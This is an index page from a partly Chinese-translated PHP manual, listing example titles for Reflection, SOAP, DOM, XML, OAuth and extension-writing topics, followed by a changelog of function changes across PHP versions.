  • Example#6281 - QuickHashStringIntHash::set example
  • Example#6282 - QuickHashStringIntHash::update example
  • Example#6283 - QuickHashIntStringHash::add example
  • Example#6284 - QuickHashIntStringHash::__construct example
  • Example#6285 - QuickHashIntStringHash::delete example
  • Example#6286 - QuickHashIntStringHash::get example
  • Example#6287 - QuickHashIntStringHash::getSize example
  • Example#6288 - QuickHash IntString file format
  • Example#6289 - QuickHash IntString file format
  • Example#6290 - QuickHashIntStringHash::loadFromFile example
  • Example#6291 - QuickHashIntStringHash::loadFromString example
  • Example#6292 - QuickHashIntStringHash::saveToFile example
  • Example#6293 - QuickHashIntStringHash::saveToString example
  • Example#6294 - QuickHashIntStringHash::set example
  • Example#6295 - QuickHashIntStringHash::update example
  • Example#6296 - Shell 里的一个反射例子（一个终端）
  • Example#6297 - 扩展内置的类
  • Example#6298 - Reflection::getModifierNames 例子
  • Example#6299 - ReflectionClass 的基本用法
  • Example#6300 - ReflectionClass::export 的基本用法
  • Example#6301 - ReflectionClass::getConstructor 的基本用法
  • Example#6302 - ReflectionClass::getDefaultProperties 例子
  • Example#6303 - ReflectionClass::getDocComment 例子
  • Example#6304 - ReflectionClass::getEndLine 例子
  • Example#6305 - ReflectionClass::getExtension 的基本用法
  • Example#6306 - ReflectionClass::getExtensionName 的基本用法
  • Example#6307 - ReflectionClass::getInterfaceNames 例子
  • Example#6308 - ReflectionClass::getInterfaces 例子
  • Example#6309 - ReflectionClass::getMethod 的基本用法
  • Example#6310 - ReflectionClass::getMethods 的基本用法
  • Example#6311 - 从 ReflectionClass::getMethods 中过滤结果
  • Example#6312 - ReflectionClass::getName 例子
  • Example#6313 - ReflectionClass::getNamespaceName 例子
  • Example#6314 - ReflectionClass::getProperties 过滤例子
  • Example#6315 - ReflectionClass::getProperty 的基本用法
  • Example#6316 - Basic ReflectionClass::getReflectionConstants example
  • Example#6317 - ReflectionClass::getShortName 例子
  • Example#6318 - ReflectionClass::getStaticPropertyValue 的基本用法
  • Example#6319 - ReflectionClass::hasConstant 例子
  • Example#6320 - ReflectionClass::hasMethod 例子
  • Example#6321 - ReflectionClass::hasProperty 例子
  • Example#6322 - ReflectionClass::inNamespace 例子
  • Example#6323 - ReflectionClass::isAbstract 例子
  • Example#6324 - ReflectionClass::isAnonymous example
  • Example#6325 - ReflectionClass::isCloneable 的基本用法
  • Example#6326 - ReflectionClass::isFinal 例子
  • Example#6327 - ReflectionClass::isInstance 相关例子
  • Example#6328 - ReflectionClass::isInstantiable 例子
  • Example#6329 - ReflectionClass::isInterface 基本用法
  • Example#6330 - ReflectionClass::isInternal 的基本用法
  • Example#6331 - Basic ReflectionClass::isIterable Usage
  • Example#6332 - ReflectionClass::isIterateable 例子
  • Example#6333 - ReflectionClass::newInstanceArgs 的基本用法
  • Example#6334 - ReflectionClass::__toString 例子
  • Example#6335 - ReflectionExtension example
  • Example#6336 - ReflectionExtension::getClasses example
  • Example#6337 - ReflectionExtension::getClassNames example
  • Example#6338 - ReflectionExtension::getConstants example
  • Example#6339 - ReflectionExtension::getDependencies example
  • Example#6340 - ReflectionExtension::getFunctions example
  • Example#6341 - ReflectionExtension::getINIEntries example
  • Example#6342 - ReflectionExtension::getName example
  • Example#6343 - ReflectionExtension::getVersion example
  • Example#6344 - ReflectionExtension::info example
  • Example#6345 - ReflectionFunction::__construct example
  • Example#6346 - ReflectionFunction::invoke example
  • Example#6347 - ReflectionFunction::invokeArgs example
  • Example#6348 - ReflectionFunction::invokeArgs with references example
  • Example#6349 - ReflectionFunction::__toString example
  • Example#6350 - ReflectionFunctionAbstract::getReturnType example
  • Example#6351 - Usage on built-in functions
  • Example#6352 - ReflectionFunctionAbstract::hasReturnType example
  • Example#6353 - Usage on built-in functions
  • Example#6354 - ReflectionFunctionAbstract::isDeprecated example
  • Example#6355 - ReflectionMethod::__construct example
  • Example#6356 - ReflectionMethod::getDeclaringClass example
  • Example#6357 - ReflectionMethod::getModifiers example
  • Example#6358 - ReflectionMethod::getPrototype example
  • Example#6359 - ReflectionMethod::invoke example
  • Example#6360 - ReflectionMethod::invokeArgs example
  • Example#6361 - ReflectionMethod::__toString example
  • Example#6362 - Using the ReflectionParameter class
  • Example#6363 - 使用 ReflectionParameter 类
  • Example#6364 - Getting the class that declared the method
  • Example#6365 - Getting default values of function parameters
  • Example#6366 - Getting default values' constant names of function parameters
  • Example#6367 - ReflectionParameter::getType Usage as of PHP 7.1.0
  • Example#6368 - ReflectionParameter::getType Usage before PHP 7.1.0
  • Example#6369 - ReflectionParameter::hasType example
  • Example#6370 - ReflectionProperty::__construct example
  • Example#6371 - Getting value from private and protected properties using ReflectionProperty class
  • Example#6372 - ReflectionProperty::getDocComment example
  • Example#6373 - Multiple property declarations
  • Example#6374 - ReflectionProperty::getValue example
  • Example#6375 - ReflectionClass::isDefault example
  • Example#6376 - ReflectionProperty::setValue example
  • Example#6377 - ReflectionType::allowsNull example
  • Example#6378 - ReflectionType::isBuiltin example
  • Example#6379 - ReflectionType::__toString example
  • Example#6380 - ReflectionGenerator::__construct example
  • Example#6381 - ReflectionGenerator::getExecutingFile example
  • Example#6382 - ReflectionGenerator::getExecutingGenerator example
  • Example#6383 - ReflectionGenerator::getExecutingLine example
  • Example#6384 - ReflectionGenerator::getFunction example
  • Example#6385 - ReflectionGenerator::getThis example
  • Example#6386 - ReflectionGenerator::getTrace example
  • Example#6387 - boolval examples
  • Example#6388 - debug_zval_dump example
  • Example#6389 -
  • Example#6390 -
  • Example#6391 - 一个简单的 empty 与 isset 的比较。
  • Example#6392 - 在字符串偏移量上使用empty
  • Example#6393 - intval 例子
  • Example#6394 - is_bool 示例
  • Example#6395 - is_callable 例子
  • Example#6396 - is_countable examples
  • Example#6397 - is_iterable examples
  • Example#6398 - isset 例子
  • Example#6399 - 在字符串位移中使用 isset
  • Example#6400 - print_r 例子
  • Example#6401 - return 参数的例子
  • Example#6402 - serialize 示例
  • Example#6403 - settype 示例
  • Example#6404 - unserialize 例子
  • Example#6405 - unserialize_callback_func 例子
  • Example#6406 - unset 示例
  • Example#6407 - 使用 (unset) 类型强制转换
  • Example#6408 - var_dump 例子
  • Example#6409 -
  • Example#6410 - OAuth::fetch example
  • Example#6411 - OAuth::getAccessToken 例子
  • Example#6412 - OAuth::getRequestToken 例子
  • Example#6413 - OAuth::setRequestEngine 例子
  • Example#6414 - 一个 OAuth::setRsaCertificate 例子
  • Example#6415 - OAuth::setToken 例子
  • Example#6416 - OAuthProvider::__construct 例子
  • Example#6417 - OAuthProvider::consumerHandler 回调的例子
  • Example#6418 - OAuthProvider::generateToken 例子
  • Example#6419 - OAuthProvider::is2LeggedEndpoint 例子
  • Example#6420 - OAuthProvider::timestampNonceHandler 回调的例子
  • Example#6421 - OAuthProvider::tokenHandler 回调的例子
  • Example#6422 - A sample SCA component
  • Example#6423 - The structure of an SCA for PHP component
  • Example#6424 - Obtaining a proxy for a local PHP class
  • Example#6425 - Obtaining a proxy for a web service
  • Example#6426 - Calling services
  • Example#6427 - Obtaining a proxy using getService
  • Example#6428 - Making calls on the proxy
  • Example#6429 - StockQuote Service
  • Example#6430 - Generated WSDL
  • Example#6431 - Generated WSDL
  • Example#6432 - location attribute
  • Example#6433 - method with two arguments
  • Example#6434 - types section illustrating named parameters
  • Example#6435 - A Component that uses Data Structures
  • Example#6436 - An SCA::getService example
  • Example#6437 - is_soap_fault example
  • Example#6438 - SOAP's standard method for error reporting is exceptions
  • Example#6439 - SoapClient::__doRequest example
  • Example#6440 - SoapClient::__getFunctions example
  • Example#6441 - SoapClient::__getLastRequest() example
  • Example#6442 - SoapClient::__getLastRequestHeaders() example
  • Example#6443 - SoapClient::__getLastResponse() example
  • Example#6444 - SoapClient::__getLastResponse() example
  • Example#6445 - SoapClient::__getTypes example
  • Example#6446 - SoapClient::__setLocation example
  • Example#6447 - SoapClient::__setSoapHeaders example
  • Example#6448 - Set Multiple Headers
  • Example#6449 - SoapClient::__soapCall example
  • Example#6450 - SoapClient::SoapClient example
  • Example#6451 - SoapServer::addFunction example
  • Example#6452 - SoapServer::getFunctions example
  • Example#6453 - SoapServer::handle example
  • Example#6454 - SoapServer::setPersistence example
  • Example#6455 - SoapServer::SoapServer example
  • Example#6456 - Some examples
  • Example#6457 - Some examples
  • Example#6458 - SoapHeader::SoapHeader example
  • Example#6459 - SoapParam::SoapParam example
  • Example#6460 - SoapVar::SoapVar example
  • Example#6461 - Yar Server示例
  • Example#6462 - 通过浏览器访问(GET请求)
  • Example#6463 - Yar Client示例
  • Example#6464 - Yar Concurrent Client示例
  • Example#6465 - Yar_Server::__construct示例
  • Example#6466 - Yar_Server::handle示例
  • Example#6467 - Yar_Client::__call example
  • Example#6468 - Yar_Client::__construct示例
  • Example#6469 - Yar_Client::setOpt示例
  • Example#6470 - Yar_Concurrent_Client::call示例
  • Example#6471 - Yar_Concurrent_Client::loop example
  • Example#6472 - Yar_Server_Exception::getType示例
  • Example#6473 - Yar_Client_Exception::getType example
  • Example#6474 - XMLRPC client functions example
  • Example#6475 - XML-RPC type example
  • Example#6476 - A xmlrpc_set_type example
  • Example#6477 - For Each in ASP
  • Example#6478 - foreach in PHP
  • Example#6479 - COM example (1)
  • Example#6480 - COM example (2)
  • Example#6481 - DOTNET example
  • Example#6482 - Variant example
  • Example#6483 - COM event sink example
  • Example#6484 - Statistics about the current PHP process
  • Example#6485 - Statistics about global memory utilization
  • Example#6486 - Registering a PHP script to run as a service
  • Example#6487 - Unregistering a service
  • Example#6488 - Running as a service
  • Example#6489 - A win32_create_service example
  • Example#6490 - A win32_create_service example with dependencies
  • Example#6491 - A win32_create_service example with recovery
  • Example#6492 - A win32_delete_service example
  • Example#6493 - A win32_start_service_ctrl_dispatcher example
  • Example#6494 - book.xml
  • Example#6495 - Creating a new DOMAttr object
  • Example#6496 - DOMAttr::isId() Example
  • Example#6497 - Creating a new DOMCdataSection object
  • Example#6498 - Creating a new DOMComment
  • Example#6499 - Creating a new DOMDocument
  • Example#6500 - Creating a new element and inserting it as root
  • Example#6501 - Passing text containing an unescaped & as value
  • Example#6502 - Creating a new element and inserting it as root
  • Example#6503 - A namespace prefix example
  • Example#6504 - DOMDocument::getElementById() Example
  • Example#6505 - Basic Usage Example
  • Example#6506 - Get all the XInclude elements
  • Example#6507 - DOMDocument::importNode example
  • Example#6508 - Creating a Document
  • Example#6509 - Creating a Document
  • Example#6510 - Creating a Document
  • Example#6511 - Creating a Document
  • Example#6512 - Static invocation of loadXML
  • Example#6513 - Adding a new method to DOMElement to ease our code
  • Example#6514 - Retrieving elements as custom class
  • Example#6515 - Retrieving owner document
  • Example#6516 - Saving a DOM tree into a file
  • Example#6517 - Saving a HTML tree into a string
  • Example#6518 - Saving a HTML tree into a file
  • Example#6519 - Saving a DOM tree into a string
  • Example#6520 - Example of DTD validation
  • Example#6521 - DOMDocument::xinclude() example
  • Example#6522 - Appending XML data to your document
  • Example#6523 - Creating a new DOMElement
  • Example#6524 - Setting an attribute
  • Example#6525 - Creating a new DOMEntityReference
  • Example#6526 - Creating a document with an attached DTD
  • Example#6527 - Testing your DOM Implementation
  • Example#6528 - Adding a child
  • Example#6529 - Nested children
  • Example#6530 - DOMNode::getLineNo example
  • Example#6531 - DOMNode::getNodePath example
  • Example#6532 - Removing a child
  • Example#6533 - Traversing all the entries of the table
  • Example#6534 - Creating a new DOMProcessingInstruction object
  • Example#6535 - Creating a new DOMText
  • Example#6536 - Getting the count of all the english books
  • Example#6537 - Getting all the english books
  • Example#6538 - book.xml
  • Example#6539 - DOMXPath::registerPHPFunctions with php:functionString
  • Example#6540 - DOMXPath::registerPHPFunctions with php:function
  • Example#6541 - Import SimpleXML into DOM with dom_import_simplexml
  • Example#6542 - A libxml_get_errors example
  • Example#6543 - libxml_set_external_entity_loader example
  • Example#6544 - A libxml_set_streams_context example
  • Example#6545 - A libxml_use_internal_errors example
  • Example#6546 - Access via property name
  • Example#6547 - Access via property name as array index
  • Example#6548 - Data Object iteration
  • Example#6549 - Access many-valued property by name
  • Example#6550 - Many-valued element access
  • Example#6551 - Many-valued property iteration
  • Example#6552 - Chained property access
  • Example#6553 - XPath navigation
  • Example#6554 - XPath querying
  • Example#6555 - Creating child data objects
  • Example#6556 - Unset a primitive property
  • Example#6557 - Unset a data object
  • Example#6558 - Unset a referenced data object
  • Example#6559 - Access via property index
  • Example#6560 - Getting the SDO_Sequence interface
  • Example#6561 - Get/set sequence values
  • Example#6562 - Sequence iteration
  • Example#6563 - Sequence versus Data Object
  • Example#6564 - Adding to a sequence
  • Example#6565 - Removing from a sequence
  • Example#6566 - Reflecting on a Data Object
  • Example#6567 - Accessing the type information
  • Example#6568 - A SDO_DAS_DataFactory::addPropertyToType example
  • Example#6569 - A SDO_DAS_DataFactory::addType example
  • Example#6570 - Creating a data object
  • Example#6571 - Retrieving a data object
  • Example#6572 - Updating a data object
  • Example#6573 - Deleting a data object
  • Example#6574 - One company, one department - Create
  • Example#6575 - One company, one department - Retrieve and Update
  • Example#6576 - One company, two departments - Retrieve and Delete
  • Example#6577 - One company, one department, one employee - Create
  • Example#6578 - One company, one department, one employee - Retrieve and update
  • Example#6579 - One company, two departments, two employees - Retrieve and delete
  • Example#6580 - Retrieving a data object using executePreparedQuery
  • Example#6581 - Loading, altering, and saving an XML document
  • Example#6582 - Creating a new XML document
  • Example#6583 - Setting XML document properties
  • Example#6584 - Using an open type
  • Example#6585 - Finding out what you can from the document
  • Example#6586 - Printing the SDO model
  • Example#6587 - Include file example.php with XML string
  • Example#6588 - Getting <plot>
  • Example#6589 - Getting <line>
  • Example#6590 - Accessing non-unique elements in SimpleXML
  • Example#6591 - Using attributes
  • Example#6592 - Comparing Elements and Attributes with Text
  • Example#6593 - Comparing Two Elements
  • Example#6594 - Using XPath
  • Example#6595 - Setting values
  • Example#6596 - Adding elements and attributes
  • Example#6597 - DOM Interoperability
  • Example#6598 - Loading broken XML string
  • Example#6599 - Add attributes and children to a SimpleXML element
  • Example#6600 - Add attributes and children to a SimpleXML element
  • Example#6601 - Get XML
  • Example#6602 - Using asXML() on SimpleXMLElement::xpath results
  • Example#6603 - Interpret an XML string
  • Example#6604 - Traversing a children() pseudo-array
  • Example#6605 - Using namespaces
  • Example#6606 - Create a SimpleXMLElement object
  • Example#6607 - Create a SimpleXMLElement object from a URL
  • Example#6608 - Counting the number of children
  • Example#6609 - Get document namespaces
  • Example#6610 - Working with multiple namespaces
  • Example#6611 - Get XML element names
  • Example#6612 - Get document namespaces in use
  • Example#6613 - Setting a namespace prefix to use in an XPath query
  • Example#6614 - Get string content
  • Example#6615 - Xpath
  • Example#6616 - Return the current element
  • Example#6617 - Return the sub-elements of the current element
  • Example#6618 - Check whether the current element has sub-elements
  • Example#6619 - Get the current XML tag key
  • Example#6620 - Move to the next element
  • Example#6621 - Rewind to the first element
  • Example#6622 - Check whether the current element is valid
  • Example#6623 - Importing DOM
  • Example#6624 - Interpret an XML document
  • Example#6625 - Interpret an XML string
  • Example#6626 - Serializing a single value with WDDX
  • Example#6627 - Using incremental packets with WDDX
  • Example#6628 - wddx_serialize_vars example
  • Example#6629 - 显示 XML 元素结构
  • Example#6630 - 将 XML 映射为 HTML
  • Example#6631 - 外部实体例程
  • Example#6632 - xmltest.xml
  • Example#6633 - xmltest2.xml
  • Example#6634 - xml_parse_into_struct 示例
  • Example#6635 - moldb.xml - 分子信息的小型数据库
  • Example#6636 - parsemoldb.php - 将 moldb.xml 解析到分子（molecular）对象的数组中
  • Example#6637 - xml_set_object 示例
  • Example#6638 - Validating XML
  • Example#6639 - Creating a simple XML document
  • Example#6640 - Working with XML namespaces
  • Example#6641 - Working with the OO API
  • Example#6642 - collection.xml
  • Example#6643 - collection.xsl
  • Example#6644 - fruits.xml
  • Example#6645 - fruits.xsl
  • Example#6646 - Collating and printing errors
  • Example#6647 - Creating an XSLTProcessor
  • Example#6648 - Testing EXSLT support
  • Example#6649 - Simple PHP Function call from a stylesheet
  • Example#6650 - Changing the owner before the transformation
  • Example#6651 - Example profiling output
  • Example#6652 - Transforming to a DOMDocument
  • Example#6653 - Transforming to a HTML file
  • Example#6654 - Transforming to a string
  • Example#6655 - PHP 的泄漏报警
  • Example#6656 - 最小的仅有一个函数的 PHP 扩展
  • Example#6657 - 一个简单的函数
  • Example#6658 - "counter"的简单接口
  • Example#6659 - "counter"的扩展接口
  • Example#6660 - "counter" 的对象化接口
  • Example#6661 - config.m4 文件举例
  • Example#6662 - configure 输出举例
  • Example#6663 - counter 的 config.m4 文件
  • Example#6664 - config.w32 文件举例
  • Example#6665 - counter's config.w32 file
  • Example#6666 - counter 扩展中的文件，未特别排序
  • Example#6667 - zend_module declaration in the counter extension
  • Example#6668 - zend_module definition in PHP 5.3
  • Example#6669 - Counter extension module definition
  • Example#6670 - The wrong way to store the basic counter interface's value
  • Example#6671 - The counter module's globals
  • Example#6672 - The counter module's global structure declaration
  • Example#6673 - Accessor macros for per-module globals
  • Example#6674 - The right way to store the basic counter interface's value
  • Example#6675 - counter's PHP_MINFO function
  • Example#6676 - Example macros for invoking pdo_SKEL_error
  • Example#6677 - Using pdo_parse_params
  • Example#6678 - Implementing preparer for drivers that don't support native prepared statements
  • Example#6679 - simple stream example that displays the PHP home page
  • Example#6680 - How to accept a stream as a parameter
  • Example#6681 - How to return a stream from a function
  • Example#6682 - The default config.m4.
  • Example#6683 - A simple extension.
  • Example#6684 - A test file for first_module.so.
  • Example#6685 - Internal declaration of zend_function_entry.
  • Example#6686 - Internal declaration of zend_module_entry.
  • Example#6687 - PHP's implementation of variable arguments in fsockopen().
  • Example#6688 - PHP/Zend zval type definition.
  • Example#6689 - Testing for referenced parameter passing.
  • Example#6690 - Creating variables with different scopes.
  • Example#6691 - Creation of a long.
  • Example#6692 - Adding an element to an associative array.
  • Example#6693 - Adding an element to an indexed array.
  • Example#6694 - Source code and screenshot for output in phpinfo.
  • Example#6695 - Printing execution information.
  • Example#6696 - Calling user functions.
  • Example#6697 - 隐藏的 HTML 表单单元
  • Example#6698 - 等待用户编辑的数据
  • Example#6699 - URL 中的例子
  • Example#6700 - 模拟注册全局变量
  • Example#6701 - In PHP Core
  • Example#6702 - Object Oriented Code in PHP Core
  • Example#6703 - In the bzip2 Extension
  • Example#6704 - In the datetime Extension
  • Example#6705 - In the dBase Extension
  • Example#6706 - In the mcrypt Extension
  • Example#6707 - In the oci8 Extension
  • Example#6708 - In the SPL Extension
  • Example#6709 - In the Semaphore (sysvmsg) extension
  • Example#6710 - A 5.2.1+ Zip Example
  • Example#6711 - strrpos 和 strripos 如今用整个字符串作为 needle
  • Example#6712 - 没有属性的对象不再被当成“empty”
  • Example#6713 - 有些情况下类必须在使用之前定义
  • Example#6714 - 移植 Apache 配置文件到 PHP 5
  • Example#6715 - 移植 Apache 配置文件到 PHP 5，CGI 模式
  • Example#6716 - Activate full on-screen error reporting for dev. domain
  • Example#6717 - Add security script for protected areas
  • Example#6718 - Unix include_path
  • Example#6719 - Windows include_path
  • Example#6720 - Unix include_path using ${USER} env variable
  • Example#6721 - string.rot13
  • Example#6722 - string.toupper
  • Example#6723 - string.tolower
  • Example#6724 - string.strip_tags
  • Example#6725 - convert.base64-encode & convert.base64-decode
  • Example#6726 - convert.quoted-printable-encode & convert.quoted-printable-decode
  • Example#6727 - zlib.deflate和 zlib.inflate
  • Example#6728 - zlib.deflate简单参数用法
  • Example#6729 - bzip2.compress和 bzip2.decompress
  • Example#6730 - 用 3DES 将文件加密输出
  • Example#6731 - 读取加密的文件

User Contributed Notes

There are no user contributed notes for this page.


更新日志

对绑定的扩展的函数有以下更新。

Version | Function | Description
Since 5.0.0 | get_parent_class | The object parameter is optional if called from the object's method.
Since 5.0 | cal_info | 参数calendar作为可选项，缺省时默认值为"所有历法"。
Since 4.3.0 | easter_date | year参数可选，缺省的默认值是当年。
easter_days | 参数year 可选，缺省默认值是当年。
easter_days | 引入参数 method。
Since 4.2.0 | srand | seed 成为可选，省略时会默认使用随机值。
Since 4.0.5 | get_parent_class | If object is a string, returns the name of the parent class of the class with that name.
prior to 5.3.0 | get_object_vars | If the object isn't an object, then get_object_vars would return FALSE
Prior to 5.1.3 | imagecolorallocatealpha | Returns -1 if the allocation failed.
prior to 4.2.0 | get_object_vars | If the variables declared in the class of which the object is an instance, have not been assigned a value, those will not be returned in the array
PHP 7.0.15, PHP 7.1.1 | get_defined_functions | 增加 exclude_disabled 参数。
PHP 5.3.2 (PECL OCI8 1.4) | oci_set_prefetch | Before this release, rows must be >= 1.
PHP 5.3 (PECL OCI8 1.3.4) | oci_set_prefetch | Before this release, prefetching was limited to the lesser of rows rows and 1024 * rows bytes. The byte size restriction has now been removed.
Before 5.1.0 | get_parent_class | If called without parameter outside object, this function would have returned NULL with a warning.
7.4.0 | idn_to_ascii | The default value of variant is now INTL_IDNA_VARIANT_UTS46 instead of the deprecated INTL_IDNA_VARIANT_2003.
idn_to_utf8 | The default value of variant is now INTL_IDNA_VARIANT_UTS46 instead of the deprecated INTL_IDNA_VARIANT_2003.
imagecropauto | The default value of mode has been changed to IMG_CROP_AUTO. Formerly, the default value has been -1 which corresponds to IMG_CROP_DEFAULT, but passing -1 is now deprecated.
imagecropauto | The behavior of imagecropauto() in the bundled libgd has been synced with that of system libgd: IMG_CROP_DEFAULT no longer falls back to IMG_CROP_SIDES and threshold-cropping now uses the same algorithm as system libgd.
SQLite3Stmt::bindParam | sql_param now also supports the @param notation.
SQLite3Stmt::bindValue | sql_param now also supports the @param notation.
7.3.0 | array_unshift | 现在可以只用一个参数来调用，之前至少需要两个参数。
compact | 现在，如果字符串指向的变量未定义，compact 会产生 E_NOTICE 级错误。 在此之前，此类问题会静默忽略掉。
ftp_nb_fget | 参数 mode 变为可选参数。 在之前的版本中，这是一个必填参数。
ftp_nb_fput | 参数 mode 变为可选参数。 在之前的版本中，这是一个必填参数。
is_countable | is_countable has been added.
session_set_cookie_params | 增加 options 参数， 可以通过传入一个关联数组对各个选项进行设置。 同时，通过使用这个参数还可以对 SameSite cookie 进行设置。
7.3 | ldap_add | Support for serverctrls added
ldap_compare | Support for serverctrls added
ldap_delete | Support for serverctrls added
ldap_exop | Support for serverctrls added
ldap_exop_passwd | Support for serverctrls added
ldap_list | Support for serverctrls added
ldap_mod_add | Support for serverctrls added
ldap_mod_del | Support for serverctrls added
ldap_mod_replace | Support for serverctrls added
ldap_modify_batch | Support for serverctrls added
ldap_parse_result | Support for serverctrls added
ldap_read | Support for serverctrls added
ldap_rename | Support for serverctrls added
ldap_search | Support for serverctrls added
7.2.0 | count | 当无效的 countable 类型传递给 array_or_countable 参数时，count 会产生警告。
date_parse_from_format | The zone element of the returned array represents seconds instead of minutes now, and its sign is inverted. For instance -120 is now 7200.
hash_copy | 接受的参数以及返回值从资源类型修改为 HashContext 对象类型。
hash_final | 接收参数从资源类型修改为 HashContext 对象类型。
hash_hmac | 不再支持非加密的哈希函数（adler32，crc32，crc32b，fnv132，fnv1a32，fnv164，fnv1a64，joaat）。
hash_hmac_file | 不再支持非加密的哈希函数（adler32，crc32，crc32b，fnv132，fnv1a32，fnv164，fnv1a64，joaat）。
hash_init | 返回 HashContext 对象，不再返回资源类型。
hash_init | 当使用 HASH_HMAC 选项的时候，不再支持非加密的哈希函数（adler32，crc32，crc32b，fnv132，fnv1a32，fnv164，fnv1a64，joaat）。
hash_pbkdf2 | 不再支持非加密的哈希函数（adler32，crc32，crc32b，fnv132，fnv1a32，fnv164，fnv1a64，joaat）。
hash_update | 接收参数从资源类型修改为 HashContext 对象类型。
hash_update_file | 接收参数从资源类型修改为 HashContext 对象类型。
hash_update_stream | 接收参数从资源类型修改为 HashContext 对象类型。
idn_to_ascii | INTL_IDNA_VARIANT_2003 has been deprecated; use INTL_IDNA_VARIANT_UTS46 instead.
idn_to_utf8 | INTL_IDNA_VARIANT_2003 has been deprecated; use INTL_IDNA_VARIANT_UTS46 instead.
number_format | number_format 现在无法返回 -0，之前可能返回 -0，因为 number 可能会是 -0.01。
pack | float 和 double 类型支持打断和小端。
parse_str | 不带第二个参数的情况下使用 parse_str 会产生 E_DEPRECATED 警告。
password_hash | 添加 PASSWORD_ARGON2I，支持 Argon2 密码散列算法。
proc_nice | 在 Windows 平台上可用。
session_abort | The return type of this function is bool now. Formerly, it has been void.
session_module_name | 不允许设置模块名称为 "user"。 在之前的版本中，如果设置为 "user"，那么会被静默的忽略到。
session_name | session_name 函数会检查会话状态， 之前的版本仅仅检查 cookie 状态。 所以，旧版本的 PHP 允许你在调用 session_start 函数之后再调用 session_name 函数， 新版本的 PHP 不再允许这样做了。
session_reset | The return type of this function is bool now. Formerly, it has been void.
session_set_cookie_params | 成功时返回 TRUE， 或者在失败时返回 FALSE。 之前版本中是返回 void 的。
session_write_close | The return type of this function is bool now. Formerly, it has been void.
unpack | float and double types supports both Big Endian and Little Endian.
SQLite3::openBlob | The flags parameter has been added, allowing to write BLOBs; formerly only reading was supported.
7.1.5 | IntlDateFormatter::format | Support for providing general DateTimeInterface objects to the value parameter was added. Formerly, only proper DateTime objects were supported.
7.1.4 | PDO::sqliteCreateFunction | The flags parameter has been added.
SQLite3::createFunction | The flags parameter has been added.
7.1.0 | DateInterval::format | The F and f format characters were added.
DateTime::setTime | 新增 microseconds 参数。
array_rand | 内置的随机数生成算法从 libc rand 函数改成梅森旋转 伪随机数生成算法。
getenv | 现在可以省略 varname 来检索所有环境变量的关联数组 array。
getopt | 添加 optind 参数。
grapheme_extract | Support for negative starts has been added.
grapheme_stripos | Support for negative offsets has been added.
grapheme_strpos | Support for negative offsets has been added.
hash_algos | 加入 sha512/224，sha512/256，sha3-224，sha3-256，sha3-384 以及 sha3-512 算法的支持。
iconv_strpos | Support for negative offsets has been added.
json_decode | An empty JSON key ("") can be encoded to the empty object property instead of using a key with value _empty_.
json_encode | 对 Double 的值进行编码时，使用 serialize_precision 代替 precision。
list | 现在可以指定 list 中的键。 这就可以解构非数字键或者无顺序的数组。
long2ip | 参数 proper_address 的类型从 string 改成 integer。
mb_ereg | mb_ereg will now set regs to an empty array, if nothing matched. Formerly, regs was not modified in that case.
mb_ereg_replace | The e modifier has been deprecated.
mb_ereg_search_setpos | Support for negative positions has been added.
mb_eregi | mb_eregi will now set regs to an empty array, if nothing matched. Formerly, regs was not modified in that case.
mb_eregi_replace | The e modifier has been deprecated.
mb_strimwidth | 支持负数的 start 和 width。
mb_stripos | 支持 offset 使用负数。
mb_strpos | 支持负数的 offset。
openssl_decrypt | 添加了 tag 和 aad 参数。
openssl_encrypt | 增加了 tag、aad、tag_length 参数
openssl_pkey_new | 添加了 curve_name 配置参数使得可以创建 EC 密钥。
session_start | 当 session_start 执行失败， 无法开始一个会话的时候，会返回 FALSE， 并且不会初始化超级变量 $_SESSION。
shuffle | 内置的随机数产生算法从 libc rand 函数改成 梅森旋转伪随机数生成算法。
str_shuffle | 内置的随机算法从 libc rand 函数改成了梅森旋转演伪随机数发生算法。
stripos | 开始支持负数的 offset。
strpos | 开始支持负数的 offset。
substr_count | 开始支持负数的 offset 和 length。
unpack | The optional offset has been added.
7.1 | DateTime::__construct | 微秒部分不再是 '00000' 了，而是真实的微秒数据。
7.0.15,7.1.1 | pack | 添加了"e","E","g"和"G"代码以启用float和double的字节顺序支持。
7.0.11 | iconv_substr | 如果 str 等长于 offset 个字符， 将返回空字符串。之前的版本里，这种情况是会返回 FALSE 的。
7.0.10 | SQLite3::__construct | The filename can now be empty to use a private, temporary on-disk database.
7.0.7 | curl_setopt | 引入 CURL_HTTP_VERSION_2、 CURL_HTTP_VERSION_2_PRIOR_KNOWLEDGE、 CURL_HTTP_VERSION_2TLS、 CURL_REDIR_POST_301、 CURL_REDIR_POST_302、 CURL_REDIR_POST_303、 CURL_REDIR_POST_ALL、 CURL_VERSION_KERBEROS5、 CURL_VERSION_PSL、 CURL_VERSION_UNIX_SOCKETS、 CURLAUTH_NEGOTIATE、 CURLAUTH_NTLM_WB、 CURLFTP_CREATE_DIR、 CURLFTP_CREATE_DIR_NONE、 CURLFTP_CREATE_DIR_RETRY、 CURLHEADER_SEPARATE、 CURLHEADER_UNIFIED、 CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE、 CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE、 CURLMOPT_MAX_HOST_CONNECTIONS、 CURLMOPT_MAX_PIPELINE_LENGTH、 CURLMOPT_MAX_TOTAL_CONNECTIONS、 CURLOPT_CONNECT_TO、 CURLOPT_DEFAULT_PROTOCOL、 CURLOPT_DNS_INTERFACE、 CURLOPT_DNS_LOCAL_IP4、 CURLOPT_DNS_LOCAL_IP6、 CURLOPT_EXPECT_100_TIMEOUT_MS、 CURLOPT_HEADEROPT、 CURLOPT_LOGIN_OPTIONS、 CURLOPT_PATH_AS_IS、 CURLOPT_PINNEDPUBLICKEY、 CURLOPT_PIPEWAIT、 CURLOPT_PROXY_SERVICE_NAME、 CURLOPT_PROXYHEADER、 CURLOPT_SASL_IR、 CURLOPT_SERVICE_NAME、 CURLOPT_SSL_ENABLE_ALPN、 CURLOPT_SSL_ENABLE_NPN、 CURLOPT_SSL_FALSESTART、 CURLOPT_SSL_VERIFYSTATUS、 CURLOPT_STREAM_WEIGHT、 CURLOPT_TCP_FASTOPEN、 CURLOPT_TFTP_NO_OPTIONS、 CURLOPT_UNIX_SOCKET_PATH、 CURLOPT_XOAUTH2_BEARER、 CURLPROTO_SMB、 CURLPROTO_SMBS、 CURLPROXY_HTTP_1_0、 CURLSSH_AUTH_AGENT 和 CURLSSLOPT_NO_REVOKE。
7.0.0 | array_column | input 参数现在可以是包含对象的数组。
